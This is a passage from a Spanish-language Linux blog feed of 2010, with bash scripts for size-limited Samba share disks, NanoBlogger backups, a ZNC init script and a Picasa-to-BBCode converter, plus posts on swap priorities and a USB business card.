&lt;span class="k"&gt;for &lt;/span&gt;X in &lt;span class="nv"&gt;$LISTAUSUARIOS&lt;/span&gt;
  &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$X&lt;/span&gt; | awk -F , &lt;span class="s1"&gt;&amp;#39;{print &amp;quot;asignando &amp;quot; $2 &amp;quot;MB a usuario &amp;quot;$1}&amp;#39;&lt;/span&gt;
  &lt;span class="nv"&gt;USUARIO&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$X&lt;/span&gt; | awk -F , &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="nv"&gt;PRE_ESPACIO&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$X&lt;/span&gt; | awk -F , &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="nb"&gt;let &lt;/span&gt;&lt;span class="nv"&gt;ESPACIO&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$PRE_ESPACIO&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;*1024
  dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/zero &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$RUTA_DISCOS&lt;/span&gt;/&lt;span class="nv"&gt;$USUARIO&lt;/span&gt;.img &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1024
  &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ESPACIO&lt;/span&gt;
  /sbin/mke2fs -L &lt;span class="nv"&gt;$USUARIO&lt;/span&gt; -j &lt;span class="nv"&gt;$RUTA_DISCOS&lt;/span&gt;/&lt;span class="nv"&gt;$USUARIO&lt;/span&gt;.img
  mkdir -p &lt;span class="nv"&gt;$MOUNT_SMB&lt;/span&gt;/&lt;span class="nv"&gt;$USUARIO&lt;/span&gt;
  mount -t ext3 &lt;span class="nv"&gt;$RUTA_DISCOS&lt;/span&gt;/&lt;span class="nv"&gt;$USUARIO&lt;/span&gt;.img -o loop &lt;span class="nv"&gt;$MOUNT_SMB&lt;/span&gt;/&lt;span class="nv"&gt;$USUARIO&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;[$USUARIO]&lt;/span&gt;
&lt;span class="s2"&gt;  comment = `echo $USUARIO&amp;quot;&lt;/span&gt; with &lt;span class="s2"&gt;&amp;quot;$PRE_ESPACIO&amp;quot;&lt;/span&gt;MB&lt;span class="s2"&gt;&amp;quot;`&lt;/span&gt;
&lt;span class="s2"&gt;  path = /mnt/smb_discs/$USUARIO&lt;/span&gt;
&lt;span class="s2"&gt;  read only = no&lt;/span&gt;
&lt;span class="s2"&gt;  browseable = yes&lt;/span&gt;
&lt;span class="s2"&gt;  guest ok = yes    &amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="nv"&gt;$TMPSAMBACONF&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;espacio usado en $RUTA_DISCOS: &amp;quot;&lt;/span&gt;
du -smh &lt;span class="nv"&gt;$RUTA_DISCOS&lt;/span&gt;/*.img
du -smh &lt;span class="nv"&gt;$RUTA_DISCOS&lt;/span&gt;/
mount -l | grep &lt;span class="nv"&gt;$MOUNT_SMB&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;CHECK $TMPSAMBACONF AND ADD IT TO YOUR /etc/samba/smb.conf&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Como mencione anteriormente, yo nunca he trabajado con &lt;em&gt;Samba&lt;/em&gt; en
ambiente de producción yo practique o jugué un poco con Samba hace unos
5 años. este script no incluye configuraciones para estos Samba shares
que proporcionen algo de seguridad. Si alguien tiene sugerencias pueden
dejarlas en los comentarios.&lt;/p&gt;
&lt;p&gt;Si experimentas problemas con el tamaño de estos discos virtuales no
dudes en darle un vistazo a este articulo: &lt;a class="reference external" href="http://orvtech.com/el-limite-para-32-bits-es-2147483647.html"&gt;El limite para 32-bits es
de2147483647&lt;/a&gt;.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 25 Jun 2010 03:36:00 -0700</pubDate><guid>tag:orvtech.com,2010-06-25:limitar-el-espacio-de-una-carpeta-sin-usar-cuotas-en-samba.html</guid><category>BASH</category><category>Linux</category><category>Scripts</category><category>tips</category></item><item><title>Respaldar NanoBlogger</title><link>http://orvtech.com/respaldar-nanoblogger.html</link><description>&lt;p&gt;Los directorios mas importantes de NanoBlogger son data templates styles
images y plugins. Anoche decidí a automatizar el respaldo de mi blog,
como no tengo problemas de espacio decidí solo dejar por fuera el
directorio cache. Este es el script para crear un archivo comprimido y
subirlo a otro server vía SCP:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;#!/bin/bash&lt;/span&gt; &lt;span class="pre"&gt;BLOG_PATH=&amp;quot;/path/to/the/directory/that/contains/your/blog.conf/&amp;quot;&lt;/span&gt; &lt;span class="pre"&gt;BLOG_NAME=&amp;quot;orvtech.com&amp;quot;&lt;/span&gt; &lt;span class="pre"&gt;DATE=`date&lt;/span&gt; &lt;span class="pre"&gt;+%d%b%Y-h%Hm%M`&lt;/span&gt; &lt;span class="pre"&gt;NO_BAKUP=&amp;quot;cache/*&amp;quot;&lt;/span&gt; &lt;span class="pre"&gt;SCP_SERVER=&amp;quot;&amp;quot;&lt;/span&gt; &lt;span class="pre"&gt;SCP_USER=&amp;quot;&amp;quot;&lt;/span&gt; &lt;span class="pre"&gt;SCP_PORT=&amp;quot;22&amp;quot;&lt;/span&gt; cd $BLOG_PATH tar &lt;span class="pre"&gt;-czpsf&lt;/span&gt; &lt;span class="pre"&gt;~/$BLOG_NAME-nanoblogger.$DATE.tar.gz&lt;/span&gt; &lt;span class="pre"&gt;--exclude&lt;/span&gt; &amp;quot;$NO_BAKUP&amp;quot; * ls &lt;span class="pre"&gt;-lah&lt;/span&gt;&amp;nbsp; &lt;span class="pre"&gt;~/$BLOG_NAME-nanoblogger.$DATE.tar.gz&lt;/span&gt; scp &lt;span class="pre"&gt;-P$SCP_PORT&lt;/span&gt; &lt;span class="pre"&gt;~/$BLOG_NAME-nanoblogger.$DATE.tar.gz&lt;/span&gt; &lt;span class="pre"&gt;$SCP_USER&amp;#64;$SCP_SERVER:~/&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 10 Jun 2010 03:52:00 -0700</pubDate><guid>tag:orvtech.com,2010-06-10:respaldar-nanoblogger.html</guid><category>Linux</category><category>NSLU2</category><category>rsync</category><category>Scripts</category></item><item><title>Archivos swap y paralelizacion de espacio swap</title><link>http://orvtech.com/archivos-swap-y-paralelizacion-de-espacio-swap.html</link><description>&lt;p&gt;Los archivos swap o particiones swap son archivos que residen en bajo el
directorio / (Root Directory) o particiones dedicadas a expandir el
espacio para la paginación de memoria (respectivamente). El sistema
operativo mantiene el control sobre qué páginas están en &lt;a class="reference external" href="http://orvtech.com/howto/cuanto-le-pongo-de-swap-a-mi-instalacion-de-linux/"&gt;memoria
principa&lt;/a&gt;l (RAM) y cuáles no; lleva un registro en la tabla de
paginación y le da una prioridad mas alta a el espacio que reside en la
RAM. Este espacio permite hacer creer a los programas que tienen más
memoria que la disponible realmente.&lt;/p&gt;
&lt;p&gt;Es el sistema operativo el encargado de mover procesos inactivos para la
swap &lt;a class="reference external" href="http://orvtech.com/general/sobre-asignacion-de-memoria/"&gt;liberando espacio de esta forma espacio en RAM&lt;/a&gt;. Este
procedimiento de intercambio se lleva a cabo en las dos direcciones
dependiendo de las necesidades.&lt;/p&gt;
&lt;div class="section" id="asignar-distintas-prioridades-a-mis-archivos-swap"&gt;
&lt;h2&gt;Asignar distintas prioridades a mis archivos SWAP&lt;/h2&gt;
&lt;p&gt;En /etc/fstab podemos usar el parámetro 'pri' y un numero entre 0 y
32767 justo después de sw. Entre mas alto sea el valor de pri mas alta
sera su prioridad y mas rápido sera usado. Con Kernels nuevos si tenemos
varias particiones swap podemos usarlas en paralelo como si fuese un
RAID 0 asignándoles la misma prioridad.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="particiones-swap-trabajando-como-raid-0"&gt;
&lt;h2&gt;Particiones swap trabajando como RAID 0?&lt;/h2&gt;
&lt;div style="text-align:center;"&gt;&lt;p&gt;[caption id=&amp;quot;attachment_369&amp;quot; align=&amp;quot;aligncenter&amp;quot; width=&amp;quot;313&amp;quot;
caption=&amp;quot;RAID0&amp;quot;]&lt;a class="reference external" href="http://orvtech.com/general/archivos-swap-y-paralelizacion-de-espacio-swap/"&gt;&lt;img alt="RAID 0 de RAM" src="http://orvtech.info/2010/12/raid0.gif" /&gt;&lt;/a&gt;[/caption]&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;El parámetro pri no solo permite paralizar el acceso a swap sino también
permite asignar mayor prioridad a discos mas rápidos, sectores de disco
que son mas rápidos (los que están al inicio del disco son mas rápidos
que los que están al final) y hacer un mejor uso de nuestros recursos
como lo podemos ver en este ejemplo:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
/dev/sda2    none  swap  sw,pri=4    0    0
/dev/sdb2    none  swap  sw,pri=4    0    0
/dev/sdc2    none  swap  sw,pri=4    0    0
/dev/sdd2    none  swap  sw,pri=3    0    0
/swapfile    none  swap  sw,pri=2    0    0
&lt;/pre&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Mon, 07 Jun 2010 23:49:00 -0700</pubDate><guid>tag:orvtech.com,2010-06-07:archivos-swap-y-paralelizacion-de-espacio-swap.html</guid><category>Linux</category><category>recursos</category><category>tips</category></item><item><title>Solo tienes una oportunidad para causar una primera impresión.</title><link>http://orvtech.com/solo-tienes-una-oportunidad-para-causar-una-primera-impresion.html</link><description>&lt;p&gt;Luego de cuatro años trabajando en una multi-nacional como un consultor
de IT a nivel de software para negocios (banca, Seguros, servicios...),
Ramiro Pareja decidió ya era momento de cambiar de profesión y
orientarse hacia la Ingeniería Electrónica.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;p&gt;[gallery link=&amp;quot;file&amp;quot; order=&amp;quot;DESC&amp;quot;]&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;El escenario es difícil, las agencias de empleo reciben cientos de
currículum al día de gente que esta aplicando para la misma posición.
Con esta avalancha de resumes es imposible que hagan un análisis de
todos los candidatos y por ende el primer filtro es la presentación. Si
tu currículum no causa una buena impresión es automáticamente descartado
y el próximo currículum sera analizado. Es aquí cuando Ramiro decide
diseñar su propia tarjeta de presentación para adjuntarlas a su
currículum.&lt;/p&gt;
&lt;p&gt;Esta tarjeta para poder ser llamativa debe cumplir con los siguientes
requerimientos:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Tener su información de contacto (gracias Capitán Obvio!).&lt;/li&gt;
&lt;li&gt;Mostrar profesionalismo.&lt;/li&gt;
&lt;li&gt;Servir de ejemplo de sus cualidades de ingeniero.&lt;/li&gt;
&lt;li&gt;Servir para algo mas que una tarjeta de presentación, de esta forma
previene que sea descartada en la primera oportunidad.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="section" id="la-tarjeta"&gt;
&lt;h2&gt;La Tarjeta.&lt;/h2&gt;
&lt;p&gt;De entrada queda descartada la idea de usar Open RFID por que pocos
reclutadores sabe de esta tecnologia o tienen un lector para RFID Tags.
Lo mas comun seria usar algo estilo USB.&lt;/p&gt;
&lt;p&gt;Una tarjeta del tamaño de una tarjeta de crédito (85.6 × 54 mm, pero mas
gruesa) con dos esquinas perforadas y espacio suficiente para abrir una
'ventana' en el medio y meter un micro controlador soldado. Con la
información de contacto impresa en el frente de la tarjeta y las
esquinas que fueron perforadas pueden estas pueden ser arrancadas de
forma fácil dejando un conector USB para que lo conecten a la
computadora directamente.&lt;/p&gt;
&lt;p&gt;La tajerta es reconocida como un dispositivo de almacenamiento
automaticamente ejecuta un autorun.inf con su currículum, carta de
presentación, portafolio y website además de cualquier otro documento.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="caracteristicas-tecnicas"&gt;
&lt;h2&gt;Características Técnicas.&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Micro-crontrolador PIC 24FJ64GB002 &amp;#64; 32 MHz (16 MIPS).&lt;/li&gt;
&lt;li&gt;64 KB de flash y 8KB de RAM que puede ser aumentado a 32MB a tra vez
de un I2C memory.&lt;/li&gt;
&lt;li&gt;Hasta 11 I/Os digitales disponibles con cuatro de ellos tolerables a
5 voltios.&lt;/li&gt;
&lt;li&gt;Hasta 4 canales analógicos.&lt;/li&gt;
&lt;li&gt;Un puerto ICSP para depuración y programasion. los tres pines del
ICSP también pueden ser usados como un GP de I/Os.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 26 May 2010 17:50:00 -0700</pubDate><guid>tag:orvtech.com,2010-05-26:solo-tienes-una-oportunidad-para-causar-una-primera-impresion.html</guid><category>Embebido</category><category>Hacks</category><category>Hardware</category></item><item><title>Que decepcion, Sheldon es ubuntero!</title><link>http://orvtech.com/que-decepcion-sheldon-es-ubuntero.html</link><description>&lt;p&gt;Yo siempre imagine que el pana tenia su propia distro o algo a base de
la meta distribución gentoo ( I &amp;lt;3 gentoo) o Linux From Scractch, el
muchacho resulto ser ubuntero. BAZINGA!&lt;/p&gt;
&lt;p&gt;&lt;object width="480" height="385"&gt;&lt;embed src="http://www.youtube.com/v/M0j5iMWJUgA&amp;amp;color1=0xb1b1b1&amp;amp;color2=0xd0d0d0&amp;amp;hl=en_US&amp;amp;feature=player_embedded&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 19 May 2010 17:01:00 -0700</pubDate><guid>tag:orvtech.com,2010-05-19:que-decepcion-sheldon-es-ubuntero.html</guid><category>Gentoo</category><category>Linux</category><category>Ubuntu</category><category>Videos</category></item><item><title>Encontrar los directorios y archivos mas grandes en una carpeta</title><link>http://orvtech.com/encontrar-los-directorios-y-archivos-mas-grandes-en-una-carpeta.html</link><description>&lt;p&gt;Usando `du` podemos encontrar los directorios y archivos mas grande dentro de un directorio. el siguiente ejemplo muestra como listar los 10 archivos y carpetas mas grande dentro del directorio 'HOME'&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;du -a ~/ | sort -n -r | head -n 10
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En el script de arriba, lo que estamos haciendo es listar todos los archivos y directorios que están en el directorio donde nos encontramos junto a su tamaño, luego los ordenamos numéricamente y de forma inversa y finalmente elegimos los últimos 10.&lt;/p&gt;
&lt;p&gt;Con `find` podemos conseguir los 10 archivos mas grandes recursivamente dentro de un directorio.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;find ~/ -type f -exec ls -ls &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt; | awk &lt;span class="s1"&gt;&amp;#39;{print $6&amp;quot;\t&amp;quot;$9}&amp;#39;&lt;/span&gt; | sort -k1 -n -r | head -n 10
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Este script busca todos los archivos dentro de nuestro home, y los pasa por el comando &lt;tt class="docutils literal"&gt;ls &lt;span class="pre"&gt;-ls&lt;/span&gt;&lt;/tt&gt; que los va a listar mostrando su tamaño. El resto de esta linea solo toma los campos seis y nueve pertenecientes a el tamaño en bloques y el nombre. Al igual que el script anterior el ultimo segmento de este script ordena numéricamente la salida y de forma inversa para luego tomar los primeros diez resultados.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 16 May 2010 17:23:00 -0700</pubDate><guid>tag:orvtech.com,2010-05-16:encontrar-los-directorios-y-archivos-mas-grandes-en-una-carpeta.html</guid><category>Android</category><category>iOS</category><category>Linux</category><category>OSX</category><category>Scripts</category><category>tips</category></item><item><title>Script de arranque para ZNC Bouncer.</title><link>http://orvtech.com/script-de-arranque-para-znc-bouncer.html</link><description>&lt;p&gt;Hace un par de artículos publique como tener el servicio de push desde
un canal de IRC para el iPhone. Después de esa instalación quede
inconforme con la forma en que hay que arrancar y parar ZNC en el
servidor así que decidí crear un script de arranque.&lt;/p&gt;
&lt;p&gt;El siguiente script permite arrancar, parar, recargar la configuración y
reiniciar el servicio. Echemosle una ojeada a /etc/init.d/zncd&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;#!/bin/bash&lt;/span&gt; # # &lt;span class="pre"&gt;Run-level&lt;/span&gt; Startup script for the ZNC Boucer # description: Startup/Shutdown ZNC Boucer &lt;span class="pre"&gt;ZNC_FOLDER=&amp;quot;/usr/bin&amp;quot;&lt;/span&gt; &lt;span class="pre"&gt;ZNC_OWNR=&amp;quot;orvtech&amp;quot;&lt;/span&gt; if [ ! &lt;span class="pre"&gt;-f&lt;/span&gt; $ZNC_FOLDER/znc &lt;span class="pre"&gt;-o&lt;/span&gt; ! &lt;span class="pre"&gt;-d&lt;/span&gt; $ZNC_FOLDER ] then&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;ZNC startup: cannot start, it appears that it is not installed&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit 1 fi case &amp;quot;$1&amp;quot; in&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; start)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &lt;span class="pre"&gt;-n&lt;/span&gt; &amp;quot;Starting ZNC: &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; su - $ZNC_OWNR &lt;span class="pre"&gt;-c&lt;/span&gt; &amp;quot;$ZNC_FOLDER/znc&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; touch /var/lock/subsys/ZNC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;OK&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stop)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &lt;span class="pre"&gt;-n&lt;/span&gt; &amp;quot;Shutdown ZNC: &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; kill &lt;span class="pre"&gt;-9&lt;/span&gt; `ps &lt;span class="pre"&gt;-C&lt;/span&gt; znc | awk '{print $1}' | grep &lt;span class="pre"&gt;^[0-9]`&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm &lt;span class="pre"&gt;-f&lt;/span&gt; /var/lock/subsys/ZNC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;OK&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; reload)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &lt;span class="pre"&gt;-n&lt;/span&gt; &amp;quot;Reloading ZNC:&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; kill &lt;span class="pre"&gt;-HUP&lt;/span&gt; `ps &lt;span class="pre"&gt;-C&lt;/span&gt; znc | awk '{print $1}' | grep &lt;span class="pre"&gt;^[0-9]`&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;OK&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; status)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ps &lt;span class="pre"&gt;-C&lt;/span&gt; znc &amp;gt; /dev/null&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; then&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;ZNC Bouncer is running&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;ZNC Bouncer is not running&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; restart)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $0 stop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sleep 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $0 start&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;Usage: $0 start|stop|restart|reload|status&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit 1 esac exit 0&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Si su NSLU2/Servidor esta corriendo gentoo pueden agregar el servicio
así:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;rc-update&lt;/span&gt; add zncd default&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;El output debería de ser algo parecido a esto&lt;/p&gt;
&lt;pre class="literal-block"&gt;
* zncd added to runlevel default
&lt;/pre&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 16 May 2010 04:34:00 -0700</pubDate><guid>tag:orvtech.com,2010-05-16:script-de-arranque-para-znc-bouncer.html</guid><category>#unplug</category><category>bouncer</category><category>irc</category><category>proxy</category><category>Scripts</category><category>znc</category></item><item><title>Gentoo da sus primeros pasos en el Nexus One.</title><link>http://orvtech.com/gentoo-da-sus-primeros-pasos-en-el-nexus-one.html</link><description>&lt;p&gt;Al parecer [joelinux] ha logrado hacer chroot de un stage3 en el Nexus
one. [joelinux] solo siguio las instrucciones de &lt;a class="reference external" href="http://forum.xda-developers.com/showthread.php?t=631389"&gt;xda-developers&lt;/a&gt; solo
que uso el &lt;a class="reference external" href="http://mirrors.kernel.org/gentoo/releases/arm/autobuilds/current-stage3/armv7a-unknown-linux-gnueabi/"&gt;stage3 de gentoo para ARM&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aun tiene muchos bugs pequeños pero funciona, se pueden compilar
paquetes incluyendo el kernel lo que es una gran ayuda para desarrollar
y portear mas paquetes para el Nexus One.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;Fuentes: &lt;a class="reference external" href="http://forum.xda-developers.com/showthread.php?t=674063"&gt;http://forum.xda-developers.com&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;Via: &lt;a class="reference external" href="http://twitter.com/EndlessWarp"&gt;&amp;#64;EndlessWarp&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 04 May 2010 17:28:00 -0700</pubDate><guid>tag:orvtech.com,2010-05-04:gentoo-da-sus-primeros-pasos-en-el-nexus-one.html</guid><category>Embebido</category><category>Gentoo</category><category>Hacks</category><category>Hardware</category></item><item><title>De Picasa a BBCode</title><link>http://orvtech.com/de-picasa-a-bbcode.html</link><description>&lt;p&gt;Este script es cumple la misma función que el anterior de &lt;a class="reference external" href="http://orvtech.com/?s=flickr+picasa"&gt;Flickr&lt;/a&gt; pero
con los albums web de Picasa. Solo necesita que uno le pase como
parametro la URL de el album que uno desea, por ejemplo
&lt;em&gt;http://picasaweb.google.com/orvtech/Hdd&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Este seria el código del script:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;#!/bin/bash&lt;/span&gt; SIZE=400 echo $1 | \ curl &lt;span class="pre"&gt;-s&lt;/span&gt; awk &lt;span class="pre"&gt;--field-separator=/&lt;/span&gt; '{print &lt;span class="pre"&gt;&amp;quot;http://picasaweb.google.com/data/feed/api/user/&amp;quot;$4&amp;quot;/album/&amp;quot;$5}'&lt;/span&gt; |\ sed &lt;span class="pre"&gt;-e&lt;/span&gt; &lt;span class="pre"&gt;'s/\&amp;quot;/\&lt;/span&gt; /g' &lt;span class="pre"&gt;-e&lt;/span&gt; &lt;span class="pre"&gt;s/\'/\&lt;/span&gt; /g |\ tr ' ' '\n' |\ grep&amp;nbsp; s72 |\ awk '{print &lt;span class="pre"&gt;&amp;quot;[url='$1'][img]&amp;quot;$0&amp;quot;[/img][/url]\n&amp;quot;}'&lt;/span&gt; |\ sed s/s72/s$SIZE/g&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Asumiendo que es script se llama Picasa2BBCode.sh podemos ejecutarlo
así:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;sh Picasa2BBCode.sh &lt;span class="pre"&gt;http://picasaweb.google.com/orvtech/Hdd&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;De este script podemos modificar el valor de &lt;em&gt;$SIZE&lt;/em&gt;, los valores
permitidos son 72px, 144px, 288px, 320px, 400px, 512px, 576px, 640px,
800px y 1024px pero si las fotos están en resolución menor a 800 puede
